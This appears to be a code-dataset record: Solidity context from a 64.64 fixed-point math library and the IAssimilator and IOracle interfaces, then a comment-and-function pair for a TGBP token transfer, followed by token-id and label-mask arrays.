= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { return int64 (x >> 64); } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { require (x >= 0); return uint64 (x >> 64); } /** * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { return int256 (x) << 64; } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (x) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } /** * Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return -x; } /** * Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return x < 0 ? -x : x; } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { return int128 ((int256 (x) + int256 (y)) >> 1); } /** * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m))); } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { uint256 absoluteResult; bool negativeResult = false; if (x >= 0) { absoluteResult = powu (uint256 (x) << 63, y); } else { // We rely on overflow behavior here absoluteResult = powu (uint256 (uint128 (-x)) << 63, y); negativeResult = y & 1 > 0; } absoluteResult >>= 63; if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { require (x >= 0); return int128 (sqrtu (uint256 (x) << 64)); } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (x) << uint256 (127 - msb); for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { require (x > 0); return int128 ( uint256 (log_2 (x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128); } /** * Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= uint256 (63 - (x >> 64)); require (result <= uint256 (MAX_64x64)); return int128 (result); } /** * Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } /** * Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point * number and y is unsigned 256-bit integer number. Revert on overflow. * * @param x unsigned 129.127-bit fixed point number * @param y uint256 value * @return unsigned 129.127-bit fixed point number */ function powu (uint256 x, uint256 y) private pure returns (uint256) { if (y == 0) return 0x80000000000000000000000000000000; else if (x == 0) return 0; else { int256 msb = 0; uint256 xc = x; if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 xe = msb - 127; if (xe > 0) x >>= uint256 (xe); else x <<= uint256 (-xe); uint256 result = 0x80000000000000000000000000000000; int256 re = 0; while (y > 0) { if (y & 1 > 0) { result = result * x; y -= 1; re += xe; if (result >= 0x8000000000000000000000000000000000000000000000000000000000000000) { result >>= 128; re += 1; } else result >>= 127; if (re < -127) return 0; // Underflow require (re < 128); // Overflow } else { x = x * x; y >>= 1; xe <<= 1; if (x >= 0x8000000000000000000000000000000000000000000000000000000000000000) { x >>= 128; xe += 1; } else x >>= 127; if (xe < -127) return 0; // Underflow require (xe < 128); // Overflow } } if (re > 0) result <<= uint256 (re); else if (re < 0) result >>= uint256 (-re); return result; } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x) private pure returns (uint128) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128 (r < r1 ? r : r1); } } } // SPDX-License-Identifier: MIT // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.3; interface IAssimilator { function getRate() external view returns (uint256); function intakeRaw(uint256 amount) external returns (int128); function intakeRawAndGetBalance(uint256 amount) external returns (int128, int128); function intakeNumeraire(int128 amount) external returns (uint256); function intakeNumeraireLPRatio( uint256, uint256, address, int128 ) external returns (uint256); function outputRaw(address dst, uint256 amount) external returns (int128); function outputRawAndGetBalance(address dst, uint256 amount) external returns (int128, int128); function outputNumeraire(address dst, int128 amount) external returns (uint256); function viewRawAmount(int128) external view returns (uint256); function viewRawAmountLPRatio( uint256, uint256, address, int128 ) external view returns (uint256); function viewNumeraireAmount(uint256) external view returns (int128); function viewNumeraireBalanceLPRatio( uint256, uint256, address ) external view returns (int128); function viewNumeraireBalance(address) external view returns (int128); function viewNumeraireAmountAndBalance(address, uint256) external view returns (int128, int128); } // SPDX-License-Identifier: MIT // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.3; interface IOracle { function acceptOwnership() external; function accessController() external view returns (address); function aggregator() external view returns (address); function confirmAggregator(address _aggregator) external; function decimals() external view returns (uint8); function description() external view returns (string memory); function getAnswer(uint256 _roundId) external view returns (int256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function getTimestamp(uint256 _roundId) external view returns (uint256); function latestAnswer() external view returns (int256); function latestRound() external view returns (uint256); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestTimestamp() external view returns (uint256); function owner() external view returns (address); function phaseAggregators(uint16) external view returns (address); function phaseId() external view returns (uint16); function proposeAggregator(address _aggregator) external; function proposedAggregator() external view returns (address); function proposedGetRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function proposedLatestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function setController(address _accessController) external; function transferOwnership(address _to) external; function version() external view returns (uint256); }
takes a numeraire value of tgbp, figures out the raw amount, transfers raw amount out, and returns raw amount
function outputNumeraire(address _dst, int128 _amount) external override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(DECIMALS) * 1e8) / _rate; bool _transferSuccess = tgbp.transfer(_dst, amount_); require(_transferSuccess, "Curve/TGBP-transfer-failed"); }
11,891,121
[ 1, 4625, 348, 7953, 560, 30, 225, 5530, 279, 818, 6070, 577, 460, 434, 268, 4490, 84, 16, 4291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 16, 509, 10392, 389, 8949, 13, 3903, 3849, 1135, 261, 11890, 5034, 3844, 67, 13, 288, 203, 3639, 2254, 5034, 389, 5141, 273, 4170, 340, 5621, 203, 203, 3639, 3844, 67, 273, 261, 67, 8949, 18, 16411, 89, 12, 23816, 55, 13, 380, 404, 73, 28, 13, 342, 389, 5141, 31, 203, 203, 3639, 1426, 389, 13866, 4510, 273, 268, 4490, 84, 18, 13866, 24899, 11057, 16, 3844, 67, 1769, 203, 203, 3639, 2583, 24899, 13866, 4510, 16, 315, 9423, 19, 56, 5887, 52, 17, 13866, 17, 7307, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
